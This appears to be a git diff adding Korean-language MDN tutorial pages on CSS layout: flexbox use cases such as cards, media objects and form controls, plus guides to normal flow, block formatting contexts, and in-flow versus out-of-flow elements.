가변상자 또는 씨에스에스 격자를 사용하여 카드 구성 요소의 목록을 조판하더라도, 이들 조판 메서드는 가변 또는 격자 구성 요소의 직계 자식에서만 작동합니다. 즉, 콘텐츠의 크기가 가변적이면 카드가 격자 영역의 높이나 가변 컨테이너의 높이까지 늘어납니다. 모든 내부 콘텐츠는 친숙한 블록 조판을 사용합니다. 즉, 콘텐츠가 적은 카드에서는 바닥글이 카드의 아래쪽에 고정되지 않고 콘텐츠의 밑단까지 차오릅니다.

+ +

구성 요소의 내부가 (상위) 랩퍼와 함께 늘어나지 않음을 표시하는 두 개의 카드 구성 요소.

+ +

가변상자가 이를 해결할 수 있습니다. 우리는 {{cssxref("flex-direction")}}: column 속성를 가진 카드를 가변 컨테이너로 만듭니다. 그런 다음 컨텐츠 영역을 flex: 1로 설정합니다. 이는 flex: 1 1 0의 축약형입니다. — 항목이 0의 가변 기준에서 커지거나 줄어들 수 있습니다. 이것이(컨텐츠 영역이) 커질 수 있는 유일한 항목이므로 가변 컨테이너에 있는 잉여 공간을 차지하고 바닥글을 바닥으로 밉니다. 라이브 예제에서 flex 속성을 제거하면 바닥글이 컨텐츠 바로 아래로 이동하는 방식을 볼 수 있습니다.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/cards.html", '100%', 800)}}

+ +

미디어 객체

+ +

미디어 객체는 웹 디자인에서 일반적인 패턴입니다. 이 패턴에는 한쪽에 이미지 나 다른 요소가 있고 오른쪽에 텍스트가 있습니다. 이상적으로 미디어 개체를 반대쪽으로 돌릴 수 있어야 합니다. 말하자면 이미지를 왼쪽에서 오른쪽으로 이동시키는 겁니다.

+ +

이 패턴은 어디에서나 볼 수 있으며, 주석 상자용으로 쓰이기도 하고, 이미지와 설명을 표시해야하는 모든 곳에서 볼 수 있습니다. 가변상자를 사용하면 이미지를 포함하는 미디어 객체의 일부가 이미지에서 크기 정보를 가져온 다음 미디어 객체의 본문이 가변적으로 남은 공간을 차지할 수 있습니다.

+ +

여러분은 아래 실제 예제에서 미디어 객체를 볼 수 있습니다. 정렬 속성을 사용하여 십자축의 항목을 flex-start로 정렬한 다음 .content 가변 항목을 flex: 1로 설정했습니다. 위의 열 조판 카드 패턴에서와 같이 flex: 1를 사용하면 카드가 커질 수 있습니다.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/media.html", '100%', 600)}}

+ +

이 라이브 예제에서 시도할 수 있는 것은 디자인에서 미디어 개체를 제약하려는 여러 가지 방법과 관련이 있습니다.

+ +

이미지가 너무 커지는 것을 방지하려면 이미지에 {{cssxref("max-width")}}를 추가하십시오. 미디어 객체의 그쪽 측면이 가변상자의 초기값(예: 100px)을 사용함에 따라 줄어들지만 커질 수는 없으며 flex-basis는 자동을 사용합니다. 이미지에 적용된 모든 {{cssxref("width")}} 또는 최대 너비는 flex-basis (가변 기준) 이 됩니다.

+ +
.image img {
+  max-width: 100px;
+}
+
+ +

또한 양쪽이 비례하여 커지거나 줄어들 수 있습니다. 양면을 flex: 1로 설정하면 0의 {{cssxref("flex-basis")}}에서 커지거나 줄어들기 때문에 두 개의 동일한 크기의 열이 생깁니다. 컨텐츠를 기준으로 사용하여 (컨텐츠와 이미지) 둘 다에 flex: auto로 설정하면 컨텐츠의 크기에 따라, 또는 이미지의 너비와 같은 가변 항목에 직접 적용되는 크기에 따라 커지거나 줄어들 수 있습니다.

+ +
.media .content {
+  flex: 1;
+  padding: 10px;
+}
+
+.image {
+  flex: 1;
+}
+ +

예를 들어 이미지가 있는 쪽을 flex: 1로 설정하고 콘텐츠 쪽을 flex: 3으로 설정하는 등 각면에 서로 다른 {{cssxref("flex-grow")}}를 부여할 수 있습니다. 즉, flex-basis0으로 사용하지만 해당 공간을 flex-grow 인수에 맞춰 서로 다르게 공간을 할당합니다. 그런 용도로 사용하는 가변 속성은 주축을 따라 가변 항목의 비율 제어 안내서에서 자세히 설명되어 있습니다.

+ +
.media .content {
+  flex: 3;
+  padding: 10px;
+}
+
+.image {
+  flex: 1;
+}
+ +

미디어 객체 방향 돌리기

+ +

이미지가 오른쪽에 있고 콘텐츠가 왼쪽에 있도록 미디어 객체의 표시를 전환하려면 flex-direction 속성을 이용해 row-reverse로 설정할 수 있습니다. 미디어 개체가 이제 다른 방향으로 표시됩니다. 저는 그걸 달성하기 위해 라이브 예제에서 기존 .media 클래스와 함께 flipped 클래스를 추가했습니다. 즉, 에이치티엠엘에서 해당 클래스를 제거하여 디스플레이가 어떻게 변경되는지 확인할 수 있습니다.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/media-flipped.html", '100%', 650)}}

+ +

양식 컨트롤

+ +

가변상자는 양식 컨트롤에 스타일을 적용할 때 특히 유용합니다. 양식에는 일반적으로 서로 정렬하고 싶은 다수의 마크업과 다수의 작은 요소를 포함할 수 있습니다. 일반적인 패턴은 {{htmlelement("input")}} 요소가 {{htmlelement("button")}}과 짝을 이루는 검색 양식의 경우나 방문자가 단순히 전자 메일 주소를 입력하도록 하려는 경우입니다.

+ +

가변상자를 사용하면 이러한 유형의 조판을 쉽게 달성할 수 있습니다. 테두리를 지정하고 표시하도록 설정한 래퍼 클래스에 <button><input> 필드가 포함되어 있습니다. 거기에 테두리를 부여하고 display: flex를 설정했습니다. 그런 다음 가변 속성을 사용하여 <input> 필드가 커지도록 했고, 버튼은 그렇지 않습니다. 이것은 사용 가능한 공간이 변함에 따라 텍스트 필드가 커지거나 작아지는 한 쌍의 필드가 있음을 의미합니다.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/input-button.html", '100%', 550)}}

+ +

버튼을 오른쪽에 올려 놓은 것처럼 레이블이나 아이콘을 왼쪽에 쉽게 추가 할 수 있습니다. 나는 레이블을 추가했으며 배경색에 대한 스타일링 이외에 조판을 변경할 필요가 없었습니다. 신축성있는 입력 필드는 이제 맘대로 이용할 공간이 조금 줄어들지만 두 항목의 지분이 고려된 후 남은 공간을 사용합니다.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/label-input-button.html", '100%', 550)}}

+ +

이와 같은 패턴을 사용하면 디자인에 추가할 요소를 쉽게 수용할 수 있는 양식 요소 라이브러리를 훨씬 쉽게 만들 수 있습니다. 커지지 않는 항목과 커지는 항목을 혼합하는 식으로 가변상자의 유연성을 활용하고 있습니다.

+ +

결론

+ +

위의 패턴을 살펴보면서 가변 상자를 사용하여 원하는 결과를 얻는 가장 좋은 방법을 여러분이 생각을 통해 파악되기 시작했길 희망해봅니다. 종종 하나 이상의 선택이 있습니다. 늘릴 수 없는 항목을 늘릴 수 있는 것과 혼합하거나, 콘텐츠를 사용하여 크기를 알리거나, 가변상자가 공간을 비례적으로 공유할 수 있도록 하십시오. 그것은 당신에게 달려 있습니다.

+ +

보유 컨텐츠를 제시하는 가장 좋은 방법을 생각한 다음 가변상자 또는 기타 조판 방법이 컨텐츠를 선보이는 데 어떻게 도움이 되는지 살펴보십시오.

diff --git a/files/ko/web/css/css_flow_layout/index.html b/files/ko/web/css/css_flow_layout/index.html new file mode 100644 index 0000000000..32928121ff --- /dev/null +++ b/files/ko/web/css/css_flow_layout/index.html @@ -0,0 +1,46 @@ +--- +title: CSS Flow Layout +slug: Web/CSS/CSS_Flow_Layout +tags: + - CSS 흐름 레이아웃 + - 흐름 +translation_of: Web/CSS/CSS_Flow_Layout +--- +
{{CSSRef}}
+ +

일반적인 흐름 Normal Flow, 또는 흐름 레이아웃 Flow Layout 은 그 레이아웃 변화가 있기 전까지 페이지 안의 블록 요소와 인라인 요소가 보여지는 방식 입니다. 흐름이란 본질적으로 레이아웃 아래 서로 같이 동작하고 서로에게 서로가 알려지는 것들의 집합 입니다. 만약에 어느 하나가 흐름에서 벗어나면 그것은 독립적으로 동작하게 됩니다.

+ +

일반적인 흐름에서, 인라인 요소들은 한줄러 늘어서 보여지게 되는데, 이는 문서의 Writing Mode 에 따라 문장 안의 단어들이 보여지는 방향을 따르게 됩니다. 블록 요소들은 문서의 Writing Mode 에서의 단락이 하나씩 나눠져 보여지듯이 나타납니다. 그래서 영어에서는, 인라인 요소들은 왼쪽에서 시작하여 하나씩 보여지고, 블록 요소들은 맨 위에서부터 페이지를 따라 아래로 보여집니다.

+ +

기본적인 예

+ +

아래의 예는 블록과 인라인 레벨 박스들을 설명합니다. 초록 테두리를 갖은 두개의 paragraph 요소들은 블록 레벨에 있어서 하나씩 위에서 아래로 나타납니다.

+ +

첫번째 문장은 파란 바탕을 갖은 span 요소를 포함하고 있습니다. 이 요소는 인라인 레벨에 있으며 따라서 문장 내에 이어져 나타납니다.

+ +

{{EmbedGHLiveSample("css-examples/layout/normal-flow.html", '100%', 720)}}

+ +

Guides

+ + + +

Reference

+ +

Glossary Entries

+ +
    +
  • {{Glossary("Block/CSS", "Block (CSS)")}}
  • +
+ + diff --git a/files/ko/web/css/css_flow_layout/intro_to_formatting_contexts/index.html b/files/ko/web/css/css_flow_layout/intro_to_formatting_contexts/index.html new file mode 100644 index 0000000000..3a91f6ba92 --- /dev/null +++ b/files/ko/web/css/css_flow_layout/intro_to_formatting_contexts/index.html @@ -0,0 +1,92 @@ +--- +title: 서식 상황 입문서 +slug: Web/CSS/CSS_Flow_Layout/Intro_to_formatting_contexts +tags: + - BFC + - 대열 + - 블록 서식 상황 + - 서식 상황 + - 씨에스에스 + - 안내서 + - 조판 + - 중급 +translation_of: Web/CSS/CSS_Flow_Layout/Intro_to_formatting_contexts +--- +
{{CSSRef}}
+ +

이 문서는 서식 상황의 개념을 소개합니다. 서식 상황에는 블록 서식 상황과 인라인 서식 상황, 가변 서식 상황을 포함한 여러 유형이 있습니다. 그들이 어떻게 동작하고 어떻게 그러한 동작을 활용할 수 있는지에 대한 기본 사항도 소개합니다.

+ +

페이지의 모든 것은 서식 상황(formatting context)의 일부이거나 특정 방식으로 콘텐츠를 배치하도록 정의된 영역입니다. 블록 서식 상황(block formatting context)은 블록 조판 규칙에 따라 자식 요소를 배치하고, 가변 서식 상황(flex formatting context)은 자식을 {{Glossary("flex item", "flex items")}}로 취급해 배치합니다. 각 서식 상황은 해당 상황에 속했을 때 조판이 어떻게 동작하는지에 대한 특정 규칙을 가지고 있습니다.

+ +

블록 서식 상황

+ +

문서의 최외각 요소는 우선 블록 조판 규칙을 수립합니다. 이를 일컬어 초기 블록 서식 상황(initial block formatting context)이라고 합니다. 이는 <html> 요소 블록 내부의 모든 요소는 블록 및 인라인 조판 규칙을 따르는 일반 대열에 따라 배치됨을 의미합니다. 블록 서식 상황(BFC)에 참여하는 요소는 씨에스에스 상자 모델에 의해 윤곽이 제시된 규칙을 사용합니다. 이 모델은 요소의 여백, 테두리 및 패딩이 동일한 서식 상황에서 서로 다른 블록과 상호 작용하는 방법을 정의합니다.

+ +

새로운 블록 서식 상황 생성하기

+ +

단지 {{HTMLElement("html")}} 요소만이 블록 서식 상황을 생성할 능력을 갖춘 것은 아닙니다. 기본값으로 블록 조판인 모든 요소는 역시 자기 자손 요소에 대한 블록 서식 상황을 생성합니다. 또한 기본값으로 주어지지 않아도 블록 서식 상황을 생성하도록 할 수 있는 씨에스에스 속성이 있습니다. 동 속성이 유용한 까닭은 새로운 블록 서식 상황이 자체적으로 주 조판 내부의 소형 조판이 된다는 점에서 최외곽 문서와 매우 유사하게 작동하기 때문입니다. 블록 서식 상황은 그 내부에 모든 요소를 포함하고, {{cssxref("float")}} 및 {{cssxref("clear")}}는 동일한 서식 상황에 속한 항목에만 적용되며, 여백 축소는 동일한 서식 상황 요소 사이에만 이뤄집니다.

+ +

우리 문서의 뿌리 요소인 ({{HTMLElement("html")}}) 이 외에도 새로운 블록 서식 상황은 다음과 같은 경우에 생성됩니다.

+ +
    +
  • {{cssxref("float")}}를 사용으로 요소가 부동체가 되는 경우
  • +
  • 절대 위치잡기한 요소, 여기에는 {{cssxref("position", "position: fixed", "#fixed")}} 혹은 {{cssxref("position", "position: sticky", "#sticky")}}가 포함됩니다.
  • +
  • {{cssxref("display", "display: inline-block", "#inline-block")}}이 적용된 요소
  • +
  • display: table-cell이 적용된 테이블 셀 또는 요소, 여기에는 display: table-* 속성 무리를 사용한 익명 테이블 셀도 포함됩니다.
  • +
  • display: table-caption이 적용된 테이블 캡션이나 요소
  • +
  • visible이외의 대열이탈 값을 갖는 블록 요소
  • +
  • display: flow-root 혹은 display: flow-root list-item 가 적용된 요소
  • +
  • {{cssxref("contain", "contain: layout", "#layout")}}, content, 또는 strict가 적용된 요소
  • +
  • {{Glossary("flex item", "flex items")}}
  • +
  • 격자 항목
  • +
  • 다단 컨테이너
  • +
  • {{cssxref("column-span")}}이 all로 설정된 요소
  • +
+ +

블록 서식 상황(BFC)을 생성하는 효과를 확인하기 위해 이들 중 몇 가지를 살펴봅시다.

+ +

아래 예제에서, 우리는 테두리가 적용된 <div> 내부에 부동체 요소 하나를 가지고 있습니다. 해당 div의 콘텐츠는 부동체 요소와 나란히 부동해왔습니다. 동 부동체의 콘텐츠가 자기 옆에 있는 콘텐츠보다 키가 크기 때문에 하위 <div>의 테두리는 이제 부동체에 전체에 걸쳐 진행하고 있습니다. 대열 요소와 탈대열 요소에 관한 안내서에서 설명했듯이, 동 부동체는 대열에서 제외되어 <div> 요소의 배경과 테두리는 콘텐츠만 포함하지 부동체는 포함하지 않습니다.

+ +

{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/float.html", '100%', 720)}}

+ +

새로운 블록 서식 상황(BFC)을 생성하면 동 부동체를 포함할 겁니다. 그러려면 전형적인 방법은 overflow: auto를 설정하거나, 초깃값인 overflow: visible 이외의 다른 값을 설정하는 식이었습니다.

+ +

{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/bfc-overflow.html", '100%', 720)}}

+ +

overflow: auto를 지정하여 동 부동체를 포함하는 새로운 블록 서식 상황(BFC)을 생성했습니다. 우리의 div가 이제는 우리 조판 내부에 소형 조판이 되었습니다. 모든 자식 요소는 소형 조판 내부에 포함되게 됩니다.

+ +

대열이탈(overflow)을 사용하여 새로운 블록 서식 상황(BFC)을 생성하는 것이 문제가 되는 것은 대열이탈(overflow) 속성이 대열이탈 콘텐츠를 어떻게 다루고 싶은지 브라우저에 알려주기 위한 것입니다. 이 속성을 순수하게 블록 서식 상황을 생성할 목적으로 사용할 경우 원치 않는 스크롤 막대 또는 잘려 나간 그림자를 생기는 경우도 있습니다. 또한, 그 경우는 후진 개발자가 왔을 때 판독의 여지가 많지 않을 수 있습니다. 왜냐면 대열이탈을 무슨 목적으로 사용했는지 이유가 분명하지 않을 수 있기 때문입니다. 다음과 같이 하면 코드를 설명하는 데 좋은 아이디어가 될 것입니다.

+ +

display: flow-root을 사용하며 명시적으로 블록 서식 상황을 생성하기

+ +

display: flow-root (또는 display: flow-root list-item))를 컨테이너 블록상에 사용하면 잠재적인 문제가 될 수 있는 여타 부작용 없이 새로운 블록 서식 상황(BFC)을 생성합니다.

+ +

{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/bfc-flow-root.html", '100%', 720)}}

+ +

{{HTMLElement("div")}}에 요소상에 display: flow-root을 적용하면, 컨테이너 내부의 모든 요소는 해당 컨테이너의 블록 서식 상황에 참여하게 되며, 부동체 무리는 동 요소 밑으로 돌출하지 않게 됩니다.

+ +

대열뿌리(flow-root)라는 키워드 명명은 (마치 {{HTMLElement("html")}}의 경우처럼) 본질적으로 새로운 뿌리 요소와 같은 기능하는 어떤 것을 생성한다는 사실을 말해줍니다. 새로운 상황이 어떻게 생성되었으며 어떻게 해당 대열 조판이 기능하는지를 고려하면 그렇습니다.

+ +

인라인 서식 상황

+ +

인라인 서식 상황은 다른 서식 상황 내부에 존재하며 하나의 단락 상황처럼 생각될 수 있습니다. 단락은 텍스트상에 사용되는 {{HTMLElement("strong")}}, {{HTMLElement("a")}} 또는 {{HTMLElement("span")}} 등이 내부적으로 사용되는 인라인 서식 상황을 생성합니다.

+ +

상자 모델은 인라인 서식 상황에 참여하는 항목에 100% 적용되지 않습니다. 가로쓰기 모드 라인에서 수평 패딩, 테두리 및 여백이 요소에 적용되고 텍스트를 왼쪽과 오른쪽으로 밀어냅니다. 그러나, 해당 요소 위와 아래에 여백은 적용되지 않습니다. 수직 패딩 및 테두리는 적용되지만 인라인 서식 상황에서 라인 상자가 패딩 및 테두리에 의해 밀려나지 않음으로 위와 아래에 내용이 겹칠 수 있습니다.

+ +

{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/inline.html", '100%', 720)}}

+ +

기타 서식 상황

+ +

이 안내서는 대열 조판을 다루므로 여타 가능한 서식 상황을 참조하지 않습니다. 따라서 어떤 유형의 서식 상황을 만드는 것이 서식 상황 속에 포함된 요소 무리가 작동하는 방식을 변화시킬 것인지 파악하는 것이 유용합니다. 이런 동작은 항상 에이치티엠엘 규격에 기술되어 있고, 또한 이곳 모질라 개발자 네트워크(MDN)에도 기술되어 있습니다.

+ +

요약정리

+ +

이번 안내서에서는 블록 및 인라인 서식 상황과 블록 서식 상황(BFC)을 생성하는 중요한 주제를 자세히 살펴보았습니다. 다음 안내서에서는 어떻게 일반 대열과 서로 다른 쓰기 모드가 상호 작용하는지에 대해 알아보겠습니다.

+ +

참조 항목

+ + diff --git "a/files/ko/web/css/css_flow_layout/\353\214\200\354\227\264\352\263\274_\355\203\210\353\214\200\354\227\264/index.html" "b/files/ko/web/css/css_flow_layout/\353\214\200\354\227\264\352\263\274_\355\203\210\353\214\200\354\227\264/index.html" new file mode 100644 index 0000000000..2b05d99f39 --- /dev/null +++ "b/files/ko/web/css/css_flow_layout/\353\214\200\354\227\264\352\263\274_\355\203\210\353\214\200\354\227\264/index.html" @@ -0,0 +1,72 @@ +--- +title: 대열과 탈대열 +slug: Web/CSS/CSS_Flow_Layout/대열과_탈대열 +tags: + - 대열 + - 대열 조판 + - 씨에스에스 + - 씨에스에스 대열 조판 + - 안내서 + - 조판 + - 중급 +translation_of: Web/CSS/CSS_Flow_Layout/In_Flow_and_Out_of_Flow +--- +
{{CSSRef}}
+ +

이전 안내서에서 제가 일반 대열 속 블록 및 인라인 조판에 대해 설명하였습니다. 대열에 속한 모든 요소는 이 메서드를 사용하여 배치됩니다.

+ +

다음 예제에서는 머리글, 단락, 목록 및 strong 요소가 포함된 마지막 단락이 있습니다. 머리글과 단락은 블록 레벨이며, strong 요소는 인라인입니다. 목록은 가변상자를 사용하여 항목을 행 내부로 정렬하지만 블록 및 인라인 조판에도 참여하고 있습니다. 컨테이너는 외곽에 display 유형이 block 대열에 참여하고 있습니다.

+ +

{{EmbedGHLiveSample("css-examples/flow/in-flow/in-flow.html", '100%', 800)}}

+ +

요소 무리 전체는 대열에 속해 있다고 말할 수 있습니다. 에이치티엠엘 소스에 나타나는 순서대로 요소 무리들이 웹페이지에 등장합니다.

+ +

항목을 대열 밖으로 빼내기

+ +

대열에 속한 모든 요소는 다음과 구분된다:

+ +
    +
  • 부동 항목
  • +
  • position: absolute 속성이 부여된 항목 (아울러 position: fixed 속성이 딸린 항목도 마찬가지로 동작합니다.)
  • +
  • 뿌리 요소(html)
  • +
+ +

대열에서 벗어난 항목은 새로운 블록 서식 상황(BFC)를 생성하므로, 그 안에 있는 모든 것은 페이지의 나머지 부분과는 구분되는 소형 조판으로 볼 수 있다. 따라서 뿌리 요소는 우리 문서의 모든 내용에 해당하는 컨테이너이기 때문에 대열을 벗어나 있으며 당 문서에 대한 블록 서식 상황을 수립합니다.

+ +

부동 항목

+ +

이 예제에서 나는 div를 가지고 있고, 그 다음 두 단락을 갖고 있다. 문단에 배경색을 추가한 다음 div 요소를 왼쪽으로 부동시켰다. 이제 div는 대열에서 벗어났다.

+ +

부동체는 우선 일반 대열에 속했던 애초의 위치를 기준으로 배치되었고, 그 뒤 대열에서 벗어나 최대한 왼쪽으로 이동합니다.

+ +

{{EmbedGHLiveSample("css-examples/flow/in-flow/float.html", '100%', 800)}}

+ +

여러분은 부동체 밑에 펼쳐지고 있는 다음 단락의 배경색을 볼 수 있습니다. 동 단락의 라인 상자 무리만 부동체 주변 콘텐츠를 둘러싸는 효과를 위해 축소되었습니다. 우리 단락 형태의 상자는 여전히 일반 대열이라는 규칙에 따라 표시되고 있습니다. 바로 그런 까닭에 부동 항목 주위에 공간을 만들려면 동 항목에 여백을 추가해서 그 여백으로부터 라인 상자 무리를 밀려나도록 해야하는 겁니다. 대열에 속한 다음 순번 콘텐츠에는 그 어떤 것을 적용한다고 해도 그런 효과를 달성할 수 없습니다.

+ +

절대 위치잡기

+ +

어떤 항목에 position: absoluteposition: fixed를 부여하면 동 항목이 대열에서 제거되며, 그것이 점유하고 있던 모든 공간이 제거됩니다. 다음 예제에서 나는 세 개의 단락 요소를 가지고 있으며, 두 번째 요소는 positionabsolute임에 더해 간격띄우기 값이 top: 30pxright: 30px 해당됩니다. 그 (두 번째) 요소는 문서 대열에서 제거되었습니다.

+ +

{{EmbedGHLiveSample("css-examples/flow/in-flow/abspos.html", '100%', 700)}}

+ +

position: fixed를 사용해 대열에서 항목을 제거하지만, 간격띄우기는 컨테이너 블록이 아닌 브라우저 뷰포트가 기준입니다.

+ +

위치잡기를 통해 대열에서 항목을 빼내면 콘텐츠의 중복 가능성을 관리해야 합니다. 대열에서 벗어나면 페이지의 다른 요소는 더 이상 요소가 존재한다는 것을 알지 못하므로 이에 반응하지 않습니다.

+ +

상대 위치잡기와 대열

+ +

어떤 항목에 position: relative 위치잡기를 부여하면 그것은 대열에 잔류하지만, 당신은 간격띄우기 값을 사용하여 동 항목을 주변으로 밀어낼 수 있습니다. 그러나 아래 예제에서 볼 수 있듯이 그것이 일반 대열 위치에 그대로 남아 있게 됩니다.

+ +

{{EmbedGHLiveSample("css-examples/flow/in-flow/relative.html", '100%', 800)}}

+ +

일반 대열에 속해 있었던 어떤 항목을 제거하거나 이동할 때, 해당 항목 주변의 콘텐츠를 겹치지 않도록 관리해야 할 필요성이 있다는 것을 예상할 수밖에 없을 겁니다. 말하자면 부동체를 정리하거나 position: absolute가 적용된 요소가 여타 콘텐츠에 올라타지 않도록 담보해야 합니다. 이러한 이유로 요소 무리를 대열 속에서 제거하는 메서드는 그들 메서드가 가져올 영향을 파악한 상태에서 사용되어야 합니다.

+ +

요약정리

+ +

이번 안내서에서는 매우 구체적인 유형의 위치잡기를 달성하기 위해 요소를 일반 대열에서 빼내는 여러 방법을 다루었습니다. 다음 안내서에서는 서식 상황 해설 가운데에서 블록 서식 상황을 생성하는 등의 관련 이슈를 살펴볼 겁니다.

+ +

참조 항목

+ + diff --git "a/files/ko/web/css/css_flow_layout/\354\235\274\353\260\230_\355\235\220\353\246\204_\354\206\215_\353\270\224\353\241\235_\353\260\217_\354\235\270\353\235\274\354\235\270_\353\240\210\354\235\264\354\225\204\354\233\203/index.html" "b/files/ko/web/css/css_flow_layout/\354\235\274\353\260\230_\355\235\220\353\246\204_\354\206\215_\353\270\224\353\241\235_\353\260\217_\354\235\270\353\235\274\354\235\270_\353\240\210\354\235\264\354\225\204\354\233\203/index.html" new file mode 100644 index 0000000000..cc7753cb70 --- /dev/null +++ "b/files/ko/web/css/css_flow_layout/\354\235\274\353\260\230_\355\235\220\353\246\204_\354\206\215_\353\270\224\353\241\235_\353\260\217_\354\235\270\353\235\274\354\235\270_\353\240\210\354\235\264\354\225\204\354\233\203/index.html" @@ -0,0 +1,122 @@ +--- +title: 일반 대열 속 블록 및 인라인 조판 +slug: Web/CSS/CSS_Flow_Layout/일반_흐름_속_블록_및_인라인_레이아웃 +tags: + - 대열 + - 씨에스에스 + - 씨에스에스 대열 조판 + - 안내서 + - 여백 + - 조판 + - 중급 +translation_of: Web/CSS/CSS_Flow_Layout/Block_and_Inline_Layout_in_Normal_Flow +--- +
{{CSSRef}}
+ +

이번 안내서에서는 블록 및 인라인 요소가 일반 대열의 일부일 때 어떻게 동작하는지에 대한 기본 사항을 살펴본다.

+ +

일반 대열은 씨에스에스 2.1규격에 정의되어 있으며, 이는 일반 대열에 소속된 상자가 서식 상황의 일부가 된다는 것을 설명한다. 그 상자는 블록 또는 인라인이 될 수 있지만 동시에 양수겸장이 될 수는 없다. 블록 수준 상자는 블록 서식 상황에 참여하는 것으로, 인라인 수준 상자는 인라인 서식 상황에 참여하는 것으로 기술한다.

+ +

블록 또는 인라인 서식 상황에 해당하는 요소의 동작은 이(CSS2.1) 규격에서 정의한다. 블록 형식 상황에 해당하는 요소의 경우 규격은 다음과 같다:

+ +
+

블록 서식 상황에서 상자는 컨테이너 블록의 맨 위에서 시작하여 수직으로 하나씩 배치된다. 두 형제(동급) 상자 사이 수직 간격은 '여백' 속성에 의해 결정된다. 블록 서식 상황에 속하는 인접하는 블록 수준 상자 사이 수직 여백은 축소된다.
+ 블록 서식 지정 상황에 속하는 각 상자의 왼쪽 바깥족 가장자리는 콘테이너 블록의 왼쪽 가장자리를 접한다. (오른쪽에서 왼쪽[아랍어] 방향 서식의 경우는 우측 가장자리를 접한다.)" - 9.4.1

+
+ +

인라인 서식 상황에 해당하는 요소의 경우:

+ +
+

인라인 서식 상황에서 상자는 콘테이너 블록의 상단에서 하나씩 차례로 수평으로 배치된다. 이 상자들 사이 수평 여백, 테두리 및 패딩은 준수된다. 상자는 다양한 방법으로 수직으로 정렬될 수 있다. 상자의 하단이나 상단에 맞춰 정렬되거나 텍스트의 기준선에 맞춰 정렬될 수 있다. 라인 형태를 띠는 여러 상자를 가두는 직사각형 영역을 라인 상자라고 한다. "- 9.4.2

+
+ +

씨에스에스 2.1 규격은 문서를 가로쓰기와 세로 쓰기 모드로 기술하고 있다. 예를 들어 블록 상자 사이의 수직 거리를 기술한다. 블록 및 인라인 요소의 동작 방식은 세로 쓰기 모드에서 동작할 때와 동일하다. 앞으로 게시될 대열 조판과 쓰기 모드에 관한 안내서에서 세로 쓰기 모드의 경우를 살펴볼 예정이다.

+ +

블록 서식 상황에 참여하는 요소

+ +

영어와 같은 가로쓰기 모드에서 블록 요소는 수직으로 다른 대상 요소 바로 밑에 배치된다.

+ +

+ +

세로 쓰기 모드에서는 수평으로 배치된다.

+ +

+ +

이 안내서에서 우리는 영어로 작업할 것이기 때문에 가로쓰기 모드를 다룬다. 그러나 기술된 내용 전체는 세로 쓰기 모드에서도 당연히 동일한 방식으로 작동한다.

+ +

씨에스에스 규격에 정의된 대로 2개의 블록 상자 사이 여백이 바로 상자 요소 사이를 구분해주는 것이다. 우리는 그점을 눈으로 확인하기 위해 2개의 단락으로 매우 간단한 하나의 조판에 테두리를 추가했다. 기본 브라우저의 스타일시트는 상하 요소에 여백을 더하는 방식으로 단락 사이 간격을 추가한다.

+ +

{{EmbedGHLiveSample("css-examples/flow/block-inline/normal-flow.html", '100%', 700)}}

+ +

단락 요소의 여백을 0으로 설정하면, 테두리는 접촉한다.

+ +

{{EmbedGHLiveSample("css-examples/flow/block-inline/normal-flow-margin-zero.html", '100%', 700)}}

+ +

기본 설정에 따라 블록 요소는 인라인 방향에 포함된 모든 빈공간을 차지하므로 당해 단락은 펼쳐지면서 콘테이너 블록 내부를 최대한 차지할 수 있게 된다. 블록 너비를 적시하게 되면 옆 공간에 나란히 배치될 공간이 있다손치더라도 다른 대상 요소 바로 밑에 배치된다. 각 블록은 콘테이너 블록의 시작 가장자리에 맞춰 시작되며, 그 위치에 맞춰 해당 쓰기 모드에 포함되는 문장이 시작된다.

+ +

{{EmbedGHLiveSample("css-examples/flow/block-inline/normal-flow-width.html", '100%', 700)}}

+ +

여백 축소

+ +

씨에스에스 규격에 따라 블록 요소 사이의 여백이 축소된다. 즉, 하단 여백이 있는 요소 바로 뒤에 상단 여백을 가진 요소가 있으면 두 여백의 합이 전체 공간이 되는게 아니라 여백이 축소되는데, 본질적으로 두 여백 중 더 큰 것으로 갈음한다.

+ +

아래의 예에 포함된 단락들은 20px의 상부 여백과 40px의 하부 여백을 갖고 있다. 단락 사이 여백의 크기는 40px이다. 왜냐면 두번째 단락의 상대적으로 작은 상부 여백이 첫번째 단락의 상대적으로 큰 하부 여백에 맞춰 축소되었기 때문이다.

+ +

{{EmbedGHLiveSample("css-examples/flow/block-inline/normal-flow-collapsing.html", '100%', 500)}}

+ +

여백 축소에 관해선 여백 축소 정복 안내서에서 자세한 내용을 파악할 수 있다.

+ +
+

참고: 여백의 축소 여부가 불확실할 경우 브라우저 개발툴에 나오는 상자 모델 값을 확인하십시오. 이렇게 하면 현재 일어나고 일을 파악하는 데 도움이 될 수 있는 실제 여백 크기를 알 수 있습니다.

+ +

+
+ +

인라인 서식 상황에 참여하는 요소

+ +

인라인 요소는 특정 쓰기 모드에서 문장이 진행하는 방향으로 하나씩 차례대로 표시한다. 인라인 요소를 상자로 간주하지 않는 경향이 있지만 씨에스에스에 속하는 모든 요소처럼 그들도 상자로 간주된다. 이 인라인 상자들은 하나씩 차례대로 배열되어 있다. 컨테이너 블락에 상자 전체를 위한 충분한 공간이 없으면 새 줄로 넘어간다. 생성된 라인은 라인 상자라고 통용된다.

+ +

다음 예에서는 스트롱(strong) 요소를 내부에 포함하는 단락의 형태로 생성된 세개의 인라인 상자가 있다.

+ +

{{EmbedGHLiveSample("css-examples/flow/block-inline/inline.html", '100%', 500)}}

+ +

strong 요소 전후로 단어를 감싼 상자들은 무명 상자라고 하며 모든 것이 상자로 둘러쳐 있음을 담보하기 위해 상자가 도입된 것이되 직접 대상화할 수 없는 요소이다.

+ +

블록 방향의 라인 상자의 크기는(영어 단락 작업시 글 높이의 경우)는 내부에 있는 가장 큰 상자에 의해 정의된다. 다음 예에서 나는 스트롱 요소의 크기를 300%로 만들었고, 이제 그 콘텐츠가 해당 선상의 라인 상자 높이를 정의한다.

+ +

{{EmbedGHLiveSample("css-examples/flow/block-inline/line-box.html", '100%', 500)}}

+ +

